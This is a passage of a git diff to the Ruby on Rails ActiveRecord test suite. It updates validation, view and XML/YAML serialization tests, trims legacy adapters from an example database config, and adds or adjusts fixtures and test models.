+    assert_not owner.save
+    assert owner.errors[:pets].any?
+    pet = owner.pets.build
+    assert owner.valid?
+    assert owner.save
+
+    pet_count = Pet.count
+    assert_not owner.update_attributes pets_attributes: [ {_destroy: 1, id: pet.id} ]
+    assert_not owner.valid?
+    assert owner.errors[:pets].any?
+    assert_equal pet_count, Pet.count
+  end
+
+  def test_does_not_validate_length_of_if_parent_record_is_validate_false
+    Owner.validates_length_of :name, minimum: 1
+    owner = Owner.new
+    owner.save!(validate: false)
+    assert owner.persisted?
+
+    pet = Pet.new(owner_id: owner.id)
+    pet.save!
+
+    assert_equal owner.pets.size, 1
+    assert owner.valid?
+    assert pet.valid?
+  end
+end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
index 1de8934406..6f8ad06ab6 100644
--- a/activerecord/test/cases/validations/presence_validation_test.rb
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -1,8 +1,9 @@
-# encoding: utf-8
 require "cases/helper"
 require 'models/man'
 require 'models/face'
 require 'models/interest'
+require 'models/speedometer'
+require 'models/dashboard'
 
 class PresenceValidationTest < ActiveRecord::TestCase
   class Boy < Man; end
@@ -48,4 +49,35 @@ class PresenceValidationTest < ActiveRecord::TestCase
     i2.mark_for_destruction
     assert b.invalid?
   end
+
+  def test_validates_presence_doesnt_convert_to_array
+    speedometer = Class.new(Speedometer)
+    speedometer.validates_presence_of :dashboard
+
+    dash = Dashboard.new
+
+    # dashboard has to_a method
+    def dash.to_a; ['(/)', '(\)']; end
+
+    s = speedometer.new
+    s.dashboard = dash
+
+    assert_nothing_raised { s.valid? }
+  end
+
+  def test_does_not_validate_presence_of_if_parent_record_is_validate_false
+    repair_validations(Interest) do
+      Interest.validates_presence_of(:topic)
+      interest = Interest.new
+      interest.save!(validate: false)
+      assert interest.persisted?
+
+      man = Man.new(interest_ids: [interest.id])
+      man.save!
+
+      assert_equal man.interests.size, 1
+      assert interest.valid?
+      assert man.valid?
+    end
+  end
 end
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
index 2b33f01783..062bc733f9 100644
--- a/activerecord/test/cases/validations/uniqueness_validation_test.rb
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require "cases/helper"
 require 'models/topic'
 require 'models/reply'
@@ -30,13 +29,13 @@ class ReplyWithTitleObject < Reply
   def title; ReplyTitle.new; end
 end
 
-class Employee < ActiveRecord::Base
-  self.table_name = 'postgresql_arrays'
-  validates_uniqueness_of :nicknames
+class TopicWithUniqEvent < Topic
+  belongs_to :event, foreign_key: :parent_id
+  validates :event, uniqueness: true
 end
 
 class UniquenessValidationTest < ActiveRecord::TestCase
-  fixtures :topics, 'warehouse-things', :developers
+  fixtures :topics, 'warehouse-things'
 
   repair_validations(Topic, Reply)
 
@@ -58,6 +57,14 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert t2.save, "Should now save t2 as unique"
   end
 
+  def test_validate_uniqueness_with_alias_attribute
+    Topic.alias_attribute :new_title, :title
+    Topic.validates_uniqueness_of(:new_title)
+
+    topic = Topic.new(new_title: 'abc')
+    assert topic.valid?
+  end
+
   def test_validates_uniqueness_with_nil_value
     Topic.validates_uniqueness_of(:title)
 
@@ -210,7 +217,7 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     assert t_utf8.save, "Should save t_utf8 as unique"
 
     # If database hasn't UTF-8 character set, this test fails
-    if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8).title == "я тоже уникальный!"
+    if Topic.all.merge!(:select => 'LOWER(title) AS title').find(t_utf8.id).title == "я тоже уникальный!"
       t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
       assert !t2_utf8.valid?, "Shouldn't be valid"
       assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
@@ -365,15 +372,34 @@ class UniquenessValidationTest < ActiveRecord::TestCase
     }
   end
 
-  def test_validate_uniqueness_with_array_column
-    return skip "Uniqueness on arrays has only been tested in PostgreSQL so far." if !current_adapter? :PostgreSQLAdapter
+  def test_validate_uniqueness_on_existing_relation
+    event = Event.create
+    assert TopicWithUniqEvent.create(event: event).valid?
+
+    topic = TopicWithUniqEvent.new(event: event)
+    assert_not topic.valid?
+    assert_equal ['has already been taken'], topic.errors[:event]
+  end
+
+  def test_validate_uniqueness_on_empty_relation
+    topic = TopicWithUniqEvent.new
+    assert topic.valid?
+  end
+
+  def test_does_not_validate_uniqueness_of_if_parent_record_is_validate_false
+    Reply.validates_uniqueness_of(:content)
+
+    Reply.create!(content: "Topic Title")
+
+    reply = Reply.new(content: "Topic Title")
+    reply.save!(validate: false)
+    assert reply.persisted?
 
-    e1 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [1000, 1200])
-    assert e1.persisted?, "Saving e1"
+    topic = Topic.new(reply_ids: [reply.id])
+    topic.save!
 
-    e2 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [2200])
-    assert !e2.persisted?, "e2 shouldn't be valid"
-    assert e2.errors[:nicknames].any?, "Should have errors for nicknames"
-    assert_equal ["has already been taken"], e2.errors[:nicknames], "Should have uniqueness message for nicknames"
+    assert_equal topic.replies.size, 1
+    assert reply.valid?
+    assert topic.valid?
   end
 end
diff --git a/activerecord/test/cases/validations_repair_helper.rb b/activerecord/test/cases/validations_repair_helper.rb
index c02b3241cd..b30666d876 100644
--- a/activerecord/test/cases/validations_repair_helper.rb
+++ b/activerecord/test/cases/validations_repair_helper.rb
@@ -5,19 +5,15 @@ module ActiveRecord
     module ClassMethods
       def repair_validations(*model_classes)
         teardown do
-          model_classes.each do |k|
-            k.clear_validators!
-          end
+          model_classes.each(&:clear_validators!)
         end
       end
     end
 
     def repair_validations(*model_classes)
-      yield
+      yield if block_given?
     ensure
-      model_classes.each do |k|
-        k.clear_validators!
-      end
+      model_classes.each(&:clear_validators!)
     end
   end
 end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 3f587d177b..f4f316f393 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -1,9 +1,9 @@
-# encoding: utf-8
 require "cases/helper"
 require 'models/topic'
 require 'models/reply'
 require 'models/person'
 require 'models/developer'
+require 'models/computer'
 require 'models/parrot'
 require 'models/company'
 
@@ -14,28 +14,28 @@ class ValidationsTest < ActiveRecord::TestCase
   # Other classes we mess with will be dealt with in the specific tests
   repair_validations(Topic)
 
-  def test_error_on_create
+  def test_valid_uses_create_context_when_new
     r = WrongReply.new
     r.title = "Wrong Create"
-    assert !r.save
+    assert_not r.valid?
     assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
     assert_equal ["is Wrong Create"], r.errors[:title], "A reply with a bad content should contain an error"
   end
 
-  def test_error_on_update
+  def test_valid_uses_update_context_when_persisted
     r = WrongReply.new
     r.title = "Bad"
     r.content = "Good"
-    assert r.save, "First save should be successful"
+    assert r.save, "First validation should be successful"
 
     r.title = "Wrong Update"
-    assert !r.save, "Second save should fail"
+    assert_not r.valid?, "Second validation should fail"
 
     assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
     assert_equal ["is Wrong Update"], r.errors[:title], "A reply with a bad content should contain an error"
   end
 
-  def test_error_on_given_context
+  def test_valid_using_special_context
     r = WrongReply.new(:title => "Valid title")
     assert !r.valid?(:special_case)
     assert_equal "Invalid", r.errors[:author_name].join
@@ -45,26 +45,53 @@ class ValidationsTest < ActiveRecord::TestCase
     assert r.valid?(:special_case)
 
     r.author_name = nil
-    assert !r.save(:context => :special_case)
+    assert_not r.valid?(:special_case)
     assert_equal "Invalid", r.errors[:author_name].join
 
     r.author_name = "secret"
-    assert r.save(:context => :special_case)
+    assert r.valid?(:special_case)
+  end
+
+  def test_validate
+    r = WrongReply.new
+
+    r.validate
+    assert_empty r.errors[:author_name]
+
+    r.validate(:special_case)
+    assert_not_empty r.errors[:author_name]
+
+    r.author_name = "secret"
+
+    r.validate(:special_case)
+    assert_empty r.errors[:author_name]
   end
 
   def test_invalid_record_exception
     assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
     assert_raise(ActiveRecord::RecordInvalid) { WrongReply.new.save! }
 
-    begin
-      r = WrongReply.new
+    r = WrongReply.new
+    invalid = assert_raise ActiveRecord::RecordInvalid do
       r.save!
-      flunk
-    rescue ActiveRecord::RecordInvalid => invalid
-      assert_equal r, invalid.record
+    end
+    assert_equal r, invalid.record
+  end
+
+  def test_validate_with_bang
+    assert_raise(ActiveRecord::RecordInvalid) do
+      WrongReply.new.validate!
     end
   end
 
+  def test_validate_with_bang_and_context
+    assert_raise(ActiveRecord::RecordInvalid) do
+      WrongReply.new.validate!(:special_case)
+    end
+    r = WrongReply.new(:title => "Valid title", :author_name => "secret", :content => "Good")
+    assert r.validate!(:special_case)
+  end
+
   def test_exception_on_create_bang_many
     assert_raise(ActiveRecord::RecordInvalid) do
       WrongReply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
@@ -87,13 +114,13 @@ class ValidationsTest < ActiveRecord::TestCase
     end
   end
 
-  def test_create_without_validation
+  def test_save_without_validation
     reply = WrongReply.new
     assert !reply.save
     assert reply.save(:validate => false)
   end
 
-  def test_validates_acceptance_of_with_non_existant_table
+  def test_validates_acceptance_of_with_non_existent_table
     Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
 
     assert_nothing_raised ActiveRecord::StatementInvalid do
@@ -121,4 +148,17 @@ class ValidationsTest < ActiveRecord::TestCase
     assert_equal 1, Company.validators_on(:name).size
   end
 
+  def test_numericality_validation_with_mutation
+    Topic.class_eval do
+      attribute :wibble, :string
+      validates_numericality_of :wibble, only_integer: true
+    end
+
+    topic = Topic.new(wibble: '123-4567')
+    topic.wibble.gsub!('-', '')
+
+    assert topic.valid?
+  ensure
+    Topic.reset_column_information
+  end
 end
diff --git a/activerecord/test/cases/view_test.rb b/activerecord/test/cases/view_test.rb
new file mode 100644
index 0000000000..3aed90ba36
--- /dev/null
+++ b/activerecord/test/cases/view_test.rb
@@ -0,0 +1,113 @@
+require "cases/helper"
+require "models/book"
+
+module ViewBehavior
+  extend ActiveSupport::Concern
+
+  included do
+    fixtures :books
+  end
+
+  class Ebook < ActiveRecord::Base
+    self.primary_key = "id"
+  end
+
+  def setup
+    super
+    @connection = ActiveRecord::Base.connection
+    create_view "ebooks", <<-SQL
+      SELECT id, name, status FROM books WHERE format = 'ebook'
+    SQL
+  end
+
+  def teardown
+    super
+    drop_view "ebooks"
+  end
+
+  def test_reading
+    books = Ebook.all
+    assert_equal [books(:rfr).id], books.map(&:id)
+    assert_equal ["Ruby for Rails"], books.map(&:name)
+  end
+
+  def test_table_exists
+    view_name = Ebook.table_name
+    assert @connection.table_exists?(view_name), "'#{view_name}' table should exist"
+  end
+
+  def test_column_definitions
+    assert_equal([["id", :integer],
+                  ["name", :string],
+                  ["status", :integer]], Ebook.columns.map { |c| [c.name, c.type] })
+  end
+
+  def test_attributes
+    assert_equal({"id" => 2, "name" => "Ruby for Rails", "status" => 0},
+                 Ebook.first.attributes)
+  end
+
+  def test_does_not_assume_id_column_as_primary_key
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "ebooks"
+    end
+    assert_nil model.primary_key
+  end
+end
+
+if ActiveRecord::Base.connection.supports_views?
+class ViewWithPrimaryKeyTest < ActiveRecord::TestCase
+  include ViewBehavior
+
+  private
+  def create_view(name, query)
+    @connection.execute "CREATE VIEW #{name} AS #{query}"
+  end
+
+  def drop_view(name)
+    @connection.execute "DROP VIEW #{name}" if @connection.table_exists? name
+  end
+end
+
+class ViewWithoutPrimaryKeyTest < ActiveRecord::TestCase
+  fixtures :books
+
+  class Paperback < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.execute <<-SQL
+      CREATE VIEW paperbacks
+        AS SELECT name, status FROM books WHERE format = 'paperback'
+    SQL
+  end
+
+  teardown do
+    @connection.execute "DROP VIEW paperbacks" if @connection.table_exists? "paperbacks"
+  end
+
+  def test_reading
+    books = Paperback.all
+    assert_equal ["Agile Web Development with Rails"], books.map(&:name)
+  end
+
+  def test_table_exists
+    view_name = Paperback.table_name
+    assert @connection.table_exists?(view_name), "'#{view_name}' table should exist"
+  end
+
+  def test_column_definitions
+    assert_equal([["name", :string],
+                  ["status", :integer]], Paperback.columns.map { |c| [c.name, c.type] })
+  end
+
+  def test_attributes
+    assert_equal({"name" => "Agile Web Development with Rails", "status" => 0},
+                 Paperback.first.attributes)
+  end
+
+  def test_does_not_have_a_primary_key
+    assert_nil Paperback.primary_key
+  end
+end
+end
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
index 68fa15de50..b30b50f597 100644
--- a/activerecord/test/cases/xml_serialization_test.rb
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require "rexml/document"
 require 'models/contact'
 require 'models/post'
 require 'models/author'
@@ -18,7 +19,7 @@ class XmlSerializationTest < ActiveRecord::TestCase
 
   def test_should_serialize_default_root_with_namespace
     @xml = Contact.new.to_xml :namespace=>"http://xml.rubyonrails.org/contact"
-    assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">},  @xml
+    assert_match %r{^<contact xmlns="http://xml\.rubyonrails\.org/contact">},  @xml
     assert_match %r{</contact>$}, @xml
   end
 
@@ -161,21 +162,17 @@ end
 
 class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase
   def test_should_serialize_datetime_with_timezone
-    timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
-    toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
-    assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
-  ensure
-    Time.zone = timezone
+    with_timezone_config zone: "Pacific Time (US & Canada)" do
+      toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
+      assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+    end
   end
 
   def test_should_serialize_datetime_with_timezone_reloaded
-    timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
-
-    toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
-    assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
-  ensure
-    Time.zone = timezone
+    with_timezone_config zone: "Pacific Time (US & Canada)" do
+      toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
+      assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+    end
   end
 end
 
@@ -229,7 +226,6 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
     xml = REXML::Document.new(topics(:first).to_xml(:indent => 0))
     bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema
     written_on_in_current_timezone = topics(:first).written_on.xmlschema
-    last_read_in_current_timezone = topics(:first).last_read.xmlschema
 
     assert_equal "topic", xml.root.name
     assert_equal "The First Topic" , xml.elements["//title"].text
@@ -251,14 +247,9 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
     assert_equal "integer", xml.elements["//parent-id"].attributes['type']
     assert_equal "true", xml.elements["//parent-id"].attributes['nil']
 
-    if current_adapter?(:SybaseAdapter)
-      assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text
-      assert_equal "dateTime" , xml.elements["//last-read"].attributes['type']
-    else
-      # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
-      assert_equal "2004-04-15", xml.elements["//last-read"].text
-      assert_equal "date" , xml.elements["//last-read"].attributes['type']
-    end
+    # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
+    assert_equal "2004-04-15", xml.elements["//last-read"].text
+    assert_equal "date" , xml.elements["//last-read"].attributes['type']
 
     # Oracle and DB2 don't have true boolean or time-only fields
     unless current_adapter?(:OracleAdapter, :DB2Adapter)
@@ -425,8 +416,9 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
 
   def test_should_support_aliased_attributes
     xml = Author.select("name as firstname").to_xml
-    array = Hash.from_xml(xml)['authors']
-    assert_equal array.size, array.select { |author| author.has_key? 'firstname' }.size
+    Author.all.each do |author|
+      assert xml.include?(%(<firstname>#{author.name}</firstname>)), xml
+    end
   end
 
   def test_array_to_xml_including_has_many_association
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
index 302913e095..bce59b4fcd 100644
--- a/activerecord/test/cases/yaml_serialization_test.rb
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -1,20 +1,17 @@
 require 'cases/helper'
 require 'models/topic'
+require 'models/reply'
+require 'models/post'
+require 'models/author'
 
 class YamlSerializationTest < ActiveRecord::TestCase
-  fixtures :topics
+  fixtures :topics, :authors, :posts
 
   def test_to_yaml_with_time_with_zone_should_not_raise_exception
-    tz = Time.zone
-    Time.zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
-    ActiveRecord::Base.time_zone_aware_attributes = true
-
-    topic = Topic.new(:written_on => DateTime.now)
-    assert_nothing_raised { topic.to_yaml }
-
-  ensure
-    Time.zone = tz
-    ActiveRecord::Base.time_zone_aware_attributes = false
+    with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+      topic = Topic.new(:written_on => DateTime.now)
+      assert_nothing_raised { topic.to_yaml }
+    end
   end
 
   def test_roundtrip
@@ -29,13 +26,6 @@ class YamlSerializationTest < ActiveRecord::TestCase
     assert_equal({:omg=>:lol}, YAML.load(YAML.dump(topic)).content)
   end
 
-  def test_encode_with_coder
-    topic = Topic.first
-    coder = {}
-    topic.encode_with coder
-    assert_equal({'attributes' => topic.attributes}, coder)
-  end
-
   def test_psych_roundtrip
     topic = Topic.first
     assert topic
@@ -49,4 +39,48 @@ class YamlSerializationTest < ActiveRecord::TestCase
     t = Psych.load Psych.dump topic
     assert_equal topic.attributes, t.attributes
   end
+
+  def test_active_record_relation_serialization
+    [Topic.all].to_yaml
+  end
+
+  def test_raw_types_are_not_changed_on_round_trip
+    topic = Topic.new(parent_id: "123")
+    assert_equal "123", topic.parent_id_before_type_cast
+    assert_equal "123", YAML.load(YAML.dump(topic)).parent_id_before_type_cast
+  end
+
+  def test_cast_types_are_not_changed_on_round_trip
+    topic = Topic.new(parent_id: "123")
+    assert_equal 123, topic.parent_id
+    assert_equal 123, YAML.load(YAML.dump(topic)).parent_id
+  end
+
+  def test_new_records_remain_new_after_round_trip
+    topic = Topic.new
+
+    assert topic.new_record?, "Sanity check that new records are new"
+    assert YAML.load(YAML.dump(topic)).new_record?, "Record should be new after deserialization"
+
+    topic.save!
+
+    assert_not topic.new_record?, "Saved records are not new"
+    assert_not YAML.load(YAML.dump(topic)).new_record?, "Saved record should not be new after deserialization"
+
+    topic = Topic.select('title').last
+
+    assert_not topic.new_record?, "Loaded records without ID are not new"
+    assert_not YAML.load(YAML.dump(topic)).new_record?, "Record should not be new after deserialization"
+  end
+
+  def test_types_of_virtual_columns_are_not_changed_on_round_trip
+    author = Author.select('authors.*, count(posts.id) as posts_count')
+      .joins(:posts)
+      .group('authors.id')
+      .first
+    dumped = YAML.load(YAML.dump(author))
+
+    assert_equal 5, author.posts_count
+    assert_equal 5, dumped.posts_count
+  end
 end
diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml
index 479b8c050d..e3b55d640e 100644
--- a/activerecord/test/config.example.yml
+++ b/activerecord/test/config.example.yml
@@ -51,32 +51,11 @@ connections:
       password: arunit
       database: arunit2
 
-  firebird:
-    arunit:
-      host: localhost
-      username: rails
-      password: rails
-      charset: UTF8
-    arunit2:
-      host: localhost
-      username: rails
-      password: rails
-      charset: UTF8
-
-  frontbase:
-    arunit:
-      host: localhost
-      username: rails
-      session_name: unittest-<%= $$ %>
-    arunit2:
-      host: localhost
-      username: rails
-      session_name: unittest-<%= $$ %>
-
   mysql:
     arunit:
       username: rails
       encoding: utf8
+      collation: utf8_unicode_ci
     arunit2:
       username: rails
       encoding: utf8
@@ -85,16 +64,11 @@ connections:
     arunit:
       username: rails
       encoding: utf8
+      collation: utf8_unicode_ci
     arunit2:
       username: rails
       encoding: utf8
 
-  openbase:
-    arunit:
-      username: admin
-    arunit2:
-      username: admin
-
   oracle:
      arunit:
        adapter: oracle_enhanced
@@ -130,11 +104,3 @@ connections:
     arunit2:
       adapter: sqlite3
       database: ':memory:'
-
-  sybase:
-    arunit:
-      host: database_ASE
-      username: sa
-    arunit2:
-      host: database_ASE
-      username: sa
diff --git a/activerecord/test/fixtures/books.yml b/activerecord/test/fixtures/books.yml
index fb48645456..abe56752c6 100644
--- a/activerecord/test/fixtures/books.yml
+++ b/activerecord/test/fixtures/books.yml
@@ -2,8 +2,10 @@ awdr:
   author_id: 1
   id: 1
   name: "Agile Web Development with Rails"
+  format: "paperback"
 
 rfr:
   author_id: 1
   id: 2
   name: "Ruby for Rails"
+  format: "ebook"
diff --git a/activerecord/test/fixtures/bulbs.yml b/activerecord/test/fixtures/bulbs.yml
new file mode 100644
index 0000000000..e5ce2b796c
--- /dev/null
+++ b/activerecord/test/fixtures/bulbs.yml
@@ -0,0 +1,5 @@
+defaulty:
+  name: defaulty
+
+special:
+  name: special
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
index 0766e92027..ab9d5378ad 100644
--- a/activerecord/test/fixtures/companies.yml
+++ b/activerecord/test/fixtures/companies.yml
@@ -57,3 +57,11 @@ odegy:
   id: 9
   name: Odegy
   type: ExclusivelyDependentFirm
+
+another_first_firm_client:
+  id: 11
+  type: Client
+  firm_id: 1
+  client_of: 1
+  name: Apex
+  firm_name: 37signals
diff --git a/activerecord/test/fixtures/computers.yml b/activerecord/test/fixtures/computers.yml
index daf969d7da..ad5ae2ec71 100644
--- a/activerecord/test/fixtures/computers.yml
+++ b/activerecord/test/fixtures/computers.yml
@@ -1,4 +1,10 @@
 workstation:
   id: 1
+  system: 'Linux'
+  developer: 1
+  extendedWarranty: 1
+
+laptop:
+  system: 'MacOS 1'
   developer: 1
   extendedWarranty: 1
diff --git a/activerecord/test/fixtures/dead_parrots.yml b/activerecord/test/fixtures/dead_parrots.yml
new file mode 100644
index 0000000000..da5529dd27
--- /dev/null
+++ b/activerecord/test/fixtures/dead_parrots.yml
@@ -0,0 +1,5 @@
+deadbird:
+  name: "Dusty DeadBird"
+  treasures: [ruby, sapphire]
+  parrot_sti_class: DeadParrot
+  killer: blackbeard
diff --git a/activerecord/test/fixtures/developers.yml b/activerecord/test/fixtures/developers.yml
index 3656564f63..54b74e7a74 100644
--- a/activerecord/test/fixtures/developers.yml
+++ b/activerecord/test/fixtures/developers.yml
@@ -2,6 +2,7 @@ david:
   id: 1
   name: David
   salary: 80000
+  shared_computers: laptop
 
 jamis:
   id: 2
@@ -18,4 +19,4 @@ dev_<%= digit %>:
 poor_jamis:
   id: 11
   name: Jamis
-  salary: 9000
\ No newline at end of file
+  salary: 9000
diff --git a/activerecord/test/fixtures/fk_test_has_pk.yml b/activerecord/test/fixtures/fk_test_has_pk.yml
index c93952180b..73882bac41 100644
--- a/activerecord/test/fixtures/fk_test_has_pk.yml
+++ b/activerecord/test/fixtures/fk_test_has_pk.yml
@@ -1,2 +1,2 @@
 first:
-  id: 1
\ No newline at end of file
+  pk_id: 1
\ No newline at end of file
diff --git a/activerecord/test/fixtures/live_parrots.yml b/activerecord/test/fixtures/live_parrots.yml
new file mode 100644
index 0000000000..95b2078da7
--- /dev/null
+++ b/activerecord/test/fixtures/live_parrots.yml
@@ -0,0 +1,4 @@
+dusty:
+  name: "Dusty Bluebird"
+  treasures: [ruby, sapphire]
+  parrot_sti_class: LiveParrot
diff --git a/activerecord/test/fixtures/naked/csv/accounts.csv b/activerecord/test/fixtures/naked/csv/accounts.csv
deleted file mode 100644
index 8b13789179..0000000000
--- a/activerecord/test/fixtures/naked/csv/accounts.csv
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/activerecord/test/fixtures/owners.yml b/activerecord/test/fixtures/owners.yml
index 2d21ce433c..3b7b29bb34 100644
--- a/activerecord/test/fixtures/owners.yml
+++ b/activerecord/test/fixtures/owners.yml
@@ -2,6 +2,7 @@ blackbeard:
   owner_id: 1
   name: blackbeard
   essay_id: A Modest Proposal
+  happy_at: '2150-10-10 16:00:00'
 
 ashley:
   owner_id: 2
diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml
index 6004f390a4..0b1a785853 100644
--- a/activerecord/test/fixtures/pirates.yml
+++ b/activerecord/test/fixtures/pirates.yml
@@ -7,3 +7,9 @@ redbeard:
   parrot: louis
   created_on: "<%= 2.weeks.ago.to_s(:db) %>"
   updated_on: "<%= 2.weeks.ago.to_s(:db) %>"
+
+mark:
+  catchphrase: "X $LABELs the spot!"
+
+1:
+  catchphrase: "#$LABEL pirate!"
diff --git a/activerecord/test/fixtures/posts.yml b/activerecord/test/fixtures/posts.yml
index 7298096025..86d46f753a 100644
--- a/activerecord/test/fixtures/posts.yml
+++ b/activerecord/test/fixtures/posts.yml
@@ -4,7 +4,6 @@ welcome:
   title: Welcome to the weblog
   body: Such a lovely day
   comments_count: 2
-  taggings_count: 1
   tags_count: 1
   type: Post
 
@@ -14,7 +13,6 @@ thinking:
   title: So I was thinking
   body: Like I hopefully always am
   comments_count: 1
-  taggings_count: 1
   tags_count: 1
   type: SpecialPost
 
diff --git a/activerecord/test/fixtures/sponsors.yml b/activerecord/test/fixtures/sponsors.yml
index bfc6b238b1..2da541c539 100644
--- a/activerecord/test/fixtures/sponsors.yml
+++ b/activerecord/test/fixtures/sponsors.yml
@@ -8,5 +8,5 @@ boring_club_sponsor_for_groucho:
   sponsorable_type: Member
 crazy_club_sponsor_for_groucho:
   sponsor_club: crazy_club
-  sponsorable_id: 2
+  sponsorable_id: 3
   sponsorable_type: Member
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
index 2b042bd135..4c98b10380 100644
--- a/activerecord/test/fixtures/topics.yml
+++ b/activerecord/test/fixtures/topics.yml
@@ -6,7 +6,7 @@ first:
   written_on: 2003-07-16t15:28:11.2233+01:00
   last_read: 2004-04-15
   bonus_time: 2005-01-30t15:28:00.00+01:00
-  content: Have a nice day
+  content: "--- Have a nice day\n...\n"
   approved: false
   replies_count: 1
 
@@ -15,7 +15,7 @@ second:
   title: The Second Topic of the day
   author_name: Mary
   written_on: 2004-07-15t15:28:00.0099+01:00
-  content: Have a nice day
+  content: "--- Have a nice day\n...\n"
   approved: true
   replies_count: 0
   parent_id: 1
@@ -26,7 +26,7 @@ third:
   title: The Third Topic of the day
   author_name: Carl
   written_on: 2012-08-12t20:24:22.129346+00:00
-  content: I'm a troll
+  content: "--- I'm a troll\n...\n"
   approved: true
   replies_count: 1
 
@@ -35,8 +35,15 @@ fourth:
   title: The Fourth Topic of the day
   author_name: Carl
   written_on: 2006-07-15t15:28:00.0099+01:00
-  content: Why not?
+  content: "--- Why not?\n...\n"
   approved: true
   type: Reply
   parent_id: 3
 
+fifth:
+  id: 5
+  title: The Fifth Topic of the day
+  author_name: Jason
+  written_on: 2013-07-13t12:11:00.0099+01:00
+  content: "--- Omakase\n...\n"
+  approved: true
diff --git a/activerecord/test/fixtures/uuid_children.yml b/activerecord/test/fixtures/uuid_children.yml
new file mode 100644
index 0000000000..a7b15016e2
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_children.yml
@@ -0,0 +1,3 @@
+sonny:
+  uuid_parent: daddy
+  name: Sonny
diff --git a/activerecord/test/fixtures/uuid_parents.yml b/activerecord/test/fixtures/uuid_parents.yml
new file mode 100644
index 0000000000..0b40225c5c
--- /dev/null
+++ b/activerecord/test/fixtures/uuid_parents.yml
@@ -0,0 +1,2 @@
+daddy:
+  name: Daddy
diff --git a/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
new file mode 100644
index 0000000000..9d46485a31
--- /dev/null
+++ b/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb
@@ -0,0 +1,8 @@
+class MigrationVersionCheck < ActiveRecord::Migration
+  def self.up
+    raise "incorrect migration version" unless version == 20131219224947
+  end
+
+  def self.down
+  end
+end
diff --git a/activerecord/test/models/admin/randomly_named_c1.rb b/activerecord/test/models/admin/randomly_named_c1.rb
index 2f81d5b831..b64ae7fc41 100644
--- a/activerecord/test/models/admin/randomly_named_c1.rb
+++ b/activerecord/test/models/admin/randomly_named_c1.rb
@@ -1,3 +1,7 @@
-class Admin::ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base

-  self.table_name = :randomly_named_table

+class Admin::ClassNameThatDoesNotFollowCONVENTIONS1 < ActiveRecord::Base

+  self.table_name = :randomly_named_table2

+end

+

+class Admin::ClassNameThatDoesNotFollowCONVENTIONS2 < ActiveRecord::Base

+  self.table_name = :randomly_named_table3

 end

diff --git a/activerecord/test/models/admin/user.rb b/activerecord/test/models/admin/user.rb
index 4c3b71e8f9..48a110bd23 100644
--- a/activerecord/test/models/admin/user.rb
+++ b/activerecord/test/models/admin/user.rb
@@ -14,6 +14,7 @@ class Admin::User < ActiveRecord::Base
   end
 
   belongs_to :account
+  store :params, accessors: [ :token ], coder: YAML
   store :settings, :accessors => [ :color, :homepage ]
